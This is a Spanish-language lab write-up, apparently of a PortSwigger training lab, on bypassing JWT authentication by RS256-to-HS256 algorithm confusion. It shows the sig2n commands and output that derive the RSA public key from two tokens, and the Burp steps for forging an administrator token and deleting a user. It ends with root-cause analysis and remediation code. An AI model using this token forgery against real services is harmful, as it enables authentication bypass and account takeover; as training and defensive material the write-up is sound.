JWT authentication bypass via algorithm confusion with no exposed key
Derivación de la clave pública RSA a partir de dos JWTs firmados con sig2n para forjar un token de administrador mediante algorithm confusion RS256→HS256.
Target Overview & Vulnerability Summary
El laboratorio maneja sesiones mediante un mecanismo basado en JWT y firma los tokens con un par de claves RSA robusto. La implementación, sin embargo, es vulnerable a un ataque de algorithm confusion: el servidor selecciona el algoritmo de verificación a partir del header alg del propio token, sin validar que el tipo de algoritmo sea coherente con la naturaleza de la clave. Como la clave pública no está expuesta vía un endpoint estándar (p. ej. /jwks.json), la explotación requiere un paso previo: derivar el módulo RSA n de la clave pública a partir de dos tokens firmados.
| Campo | Valor |
|---|---|
| Severidad | Alta (bypass de autenticación → acceso al panel /admin y eliminación de carlos) |
| Endpoint vulnerable | POST /login (emisión del JWT), GET /admin, DELETE /admin?username=carlos |
| Root cause | El verificador acepta HS256 firmado con material de clave pública; además, la clave pública es recuperable criptográficamente desde los pares (mensaje, firma) |
Technical Breakdown & Exploitation Flow
Tras autenticarse con wiener:peter, el servidor emite un JWT cuyo header declara alg: RS256 (RSA + SHA-256, algoritmo asimétrico). Token decodificado:
{
"kid": "3c096d11-ce95-4577-8da7-56136beabc9c",
"alg": "RS256"
}
{
"iss": "portswigger",
"exp": 1757276372,
"sub": "wiener"
}
Derivación de la clave pública sin endpoint de exposición
La clave pública no se sirve por ningún endpoint, pero es matemáticamente derivable. Para RSA, una firma es s = m^d mod n. Elevando ambos lados a un exponente e elegido por el atacante se cumple s^e ≡ m (mod n), es decir, n | (s^e − m). Con dos tokens distintos (m₁, s₁) y (m₂, s₂) (dos logins generan exp distintos):
n = gcd(s₁^e − m₁, s₂^e − m₂)
El contenedor portswigger/sig2n automatiza este cálculo, devuelve la clave pública en PEM (formatos x509 y PKCS1) y, además, produce un tampered JWT ya firmado en HS256 que demuestra que la confusión funciona. Obtención de la imagen y ejecución (el segundo parámetro es un JWT fresco, por lo que hay que cerrar sesión y volver a autenticarse para obtener un token con exp nuevo):
docker pull portswigger/sig2n
docker run --rm -it portswigger/sig2n "eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzI3NjM3Miwic3ViIjoid2llbmVyIn0.YxnzgDzb3f51X-X4MaH_CKaXJYLQzrP8JtRc1hP14H7ws7lq71X45rArHOynKOSAllR6azp3Q8g5LIv9dAIMJfE1efY5hqd9Hxcx1Y0-SpolZW-YRuP5N7IJ6UNjP3oBI2LuNXOFytIz003_9yIk3_BU6EimMpcQ5bVUkrvdf9rQ8dCu4eDMEMQaTPwKVKv6eyJjBH0vg_rMse5ycoFTdzbrHQYyndkL-qOpIZAo3Mz-KvQHaVrIvTGCMENHtOLB7KewYY5NpeY7ZQOY2dWMccLi2el7Mb5VVGwr_Bo5-6OntkWdrghleYeuGOz7sWFHSPDQHfkSRZsCKK0bC3-Icw" "eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzI3NzU1Nywic3ViIjoid2llbmVyIn0.qa5WKW396wIIvSfGr5bVu_KE0gbfG9mmv7GjXSI8JH20uDF2pb6EorjBJCplnTtgis2CkB98EKsuPH9Yr3cZ_decFkbIfLnO-TZv_CQSnbZuynDFYh_QPabvv9gDsOW_W94IFKufJuEZ0KLuETRzcuTLiAUUqJKvsLSUJkyB0uVp4D-igFf7nnR9tw8vlD-TSKHI4fCda_ElpnBS05ZUyD3P7CD2NJt0ql-QGQyl81NsoDbE9Wl3xUdB4WtYIDwv4t2GGRa_8bBGFdlkR3Iab5EkWtDGExbksDf5JhmS2yh7x4L-BGhZn55rpDfTgLj3x2Rp1vwLoiUp4yn7_NiUpw"
Salida del comando: clave pública en PEM en dos formatos (x509 y PKCS1) con sus correspondientes JWTs manipulados (ya firmados en HS256 con el material de la clave pública).
Running command: python3 jwt_forgery.py <token1> <token2>
Found n with multiplier 1:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUJuRmtxY1QyOHhtTkdKOHNRMG9SbAptbkZraXpxWlQvNHN3dUFzNHdiVnpZbDB6MS9sM3d4RXpmYUlQdVRGY3JEb2RzOGRjTHNPTFU2dmxYQmloUkovClVPZ3lMNWpYaGZjelZqbXgxTGxqM0hsNWRaaWdkMUZkU0h6VGUyUGYvWkRqS000eFNlaDBwRTNQN25NZVYwVjcKSGIzeVBVZWR0MjA3eGtCTkJuTjRTa2R2NTZ2RXhuaC9sdGJHeEtwTHA3ZkJIL3k3cldrK2VmMjVEWjF5cW9lUgptZDZNZXkrb2xSTkRZaFVJNkVhcjFhNnFrRHBwdTZacmZvcDVCTUZVQlkzQ1dPSjR1cXZwbFowOHl1VHFQK254CjVOUXRzMlpDNjBRem9nc2VaZll4RVNJNXpScXNiYXZWa1NoeHQzYmlSczllWUpRSWlUVVlJOFJvSEZ2R2tYVisKZ2dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.4ob7ANH7JX09NtQtvPhrd-a_YpjKamiKHENjQE1Qbqc
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQm5Ga3FjVDI4eG1OR0o4c1Ewb1JsbW5Ga2l6cVpULzRzd3VBczR3YlZ6WWwwejEvbDN3eEUKemZhSVB1VEZjckRvZHM4ZGNMc09MVTZ2bFhCaWhSSi9VT2d5TDVqWGhmY3pWam14MUxsajNIbDVkWmlnZDFGZApTSHpUZTJQZi9aRGpLTTR4U2VoMHBFM1A3bk1lVjBWN0hiM3lQVWVkdDIwN3hrQk5Cbk40U2tkdjU2dkV4bmgvCmx0Ykd4S3BMcDdmQkgveTdyV2srZWYyNURaMXlxb2VSbWQ2TWV5K29sUk5EWWhVSTZFYXIxYTZxa0RwcHU2WnIKZm9wNUJNRlVCWTNDV09KNHVxdnBsWjA4eXVUcVArbng1TlF0czJaQzYwUXpvZ3NlWmZZeEVTSTV6UnFzYmF2VgprU2h4dDNiaVJzOWVZSlFJaVRVWUk4Um9IRnZHa1hWK2dnSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.5Xyc0A0Rje3SAHZr48eLyjwcpYjFYXFkIExlsm8P39Y
Found n with multiplier 2:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6aXlWT0o3ZVl6R2pFK1dJYVVJeQp6VGl5UloxTXAvOFdZWEFXY1lOcTVzUzZaNi95NzRZaVp2dEVIM0ppdVZoME8yZU91RjJIRnFkWHlyZ3hRb2svCnFIUVpGOHhyd3Z1WnF4elk2bHl4N2p5OHVzeFFPNml1cEQ1cHZiSHYvc2h4bEdjWXBQUTZVaWJuOXptUEs2SzkKanQ3NUhxUE8yN2FkNHlBbWd6bThKU08zODlYaVl6dy95MnRqWWxVbDA5dmdqLzVkMXJTZlBQN2NoczY1VlVQSQp6TzlHUFpmVVNvbWhzUXFFZENOVjZ0ZFZTQjAwM2RNMXYwVThnbUNxQXNiaExIRThYVlgweXM2ZVpYSjFIL1Q0Cjhtb1cyYk1oZGFJWjBRV1BNdnNZaUpFYzVvMVdOdFhxeUpRNDI3dHhJMmV2TUVvRVJKcU1FZUkwRGkzalNMcS8KUVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.3buCnqqY3W2mLEkNWT2GRg36hcA4dyZBVAkengLTuCE
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXppeVZPSjdlWXpHakUrV0lhVUl5elRpeVJaMU1wLzhXWVhBV2NZTnE1c1M2WjYveTc0WWkKWnZ0RUgzSml1VmgwTzJlT3VGMkhGcWRYeXJneFFvay9xSFFaRjh4cnd2dVpxeHpZNmx5eDdqeTh1c3hRTzZpdQpwRDVwdmJIdi9zaHhsR2NZcFBRNlVpYm45em1QSzZLOWp0NzVIcVBPMjdhZDR5QW1nem04SlNPMzg5WGlZencvCnkydGpZbFVsMDl2Z2ovNWQxclNmUFA3Y2hzNjVWVVBJek85R1BaZlVTb21oc1FxRWRDTlY2dGRWU0IwMDNkTTEKdjBVOGdtQ3FBc2JoTEhFOFhWWDB5czZlWlhKMUgvVDQ4bW9XMmJNaGRhSVowUVdQTXZzWWlKRWM1bzFXTnRYcQp5SlE0Mjd0eEkyZXZNRW9FUkpxTUVlSTBEaTNqU0xxL1FRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.yadu7Dqa6QFxMjnoG4NPMPQYN2_BMU9l4-m-NZ9x3oU
El resultado con multiplier 2 es una variante del mismo módulo (la derivación mediante gcd puede devolver 2n); cualquiera de las claves sirve para verificar la confusión. Los tampered JWTs ya son tokens HS256 válidos, lo que confirma que el servidor verifica HS256 usando la clave pública RSA como secreto HMAC.
Forjado del token de administrador
- En la pestaña JWT Editor de Burp Suite, crear una New RSA Key y pegar la clave PEM resultante de decodificar el bloque
x509(oPKCS1) en base64. - Copiar el valor base64 de la clave PEM y usarlo como valor del campo
kde una New Symmetric Key (claveoct); ese será el secreto HMAC con el que se firmará. - En Repeater, sobre la request que contiene el JWT, modificar el header a
alg: HS256y el claimsubaadministrator. - Firmar con la clave simétrica creada (opción Sign, asegurando "don't modify header" para conservar el
algmanipulado). - Enviar
GET /admincon el token forjado. - Enviar
DELETE /admin?username=carlospara resolver el laboratorio.
Root Cause Analysis
La vulnerabilidad tiene dos facetas complementarias:
- Selección de algoritmo desde el header sin fijación de tipo de clave. El verificador elige
algdel token y aplica la clave correspondiente sin comprobar que el algoritmo sea coherente con el tipo de clave. En particular, aceptaHS256(simétrico) y utiliza como secreto HMAC el material de la clave pública RSA. Cualquier cliente puede entonces firmar tokens con una clave pública que es pública por definición. Patrón de código defectuoso:
key, _ := jwks.KeyFor(kid) // clave pública RSA
token, _ := jwt.Parse(raw, jwt.WithKey(jwa.Algorithm(header.Alg), key))
// jwa.HS256 aplicado sobre un rsa.PublicKey como secreto HMAC → confusion
- Recuperabilidad de la clave pública desde la firma. Aunque no exista un endpoint de exposición, el par (mensaje, firma) filtra
npara cualquiereelegido por el atacante. Es un leak criptográfico inherente a RSA cuando la clave de verificación se reutiliza para HMAC.
Secure Remediation
- Fijar el algoritmo esperado por clave. El código debe declarar una lista blanca de algoritmos válidos para cada
kidy rechazar cualquieralgque no coincida (nunca confiar enalgdel header para seleccionar el verificador):
switch header.Alg {
case jwa.RS256: // clave pública RSA → solo algoritmos asimétricos
token, err := jwt.Parse(raw, jwt.WithKey(jwa.RS256, pubKey))
default:
return ErrAlgorithmNotAllowed
}
- Prohibir el uso de claves públicas o semipúblicas como secreto HMAC: para
HS256/HS384/HS512el secreto debe ser un valor aleatorio de al menos 256 bits, nunca el módulo RSA ni su codificación. - Mantener un registro
kid → (clave, algoritmo)autorizado por el servidor y validar ambos campos contra esa tabla. - Considerar algoritmos con firma sin ambigüedad de clave (EdDSA/Ed25519) o curvas que eviten la clase entera de confusion entre simétrico/asimétrico.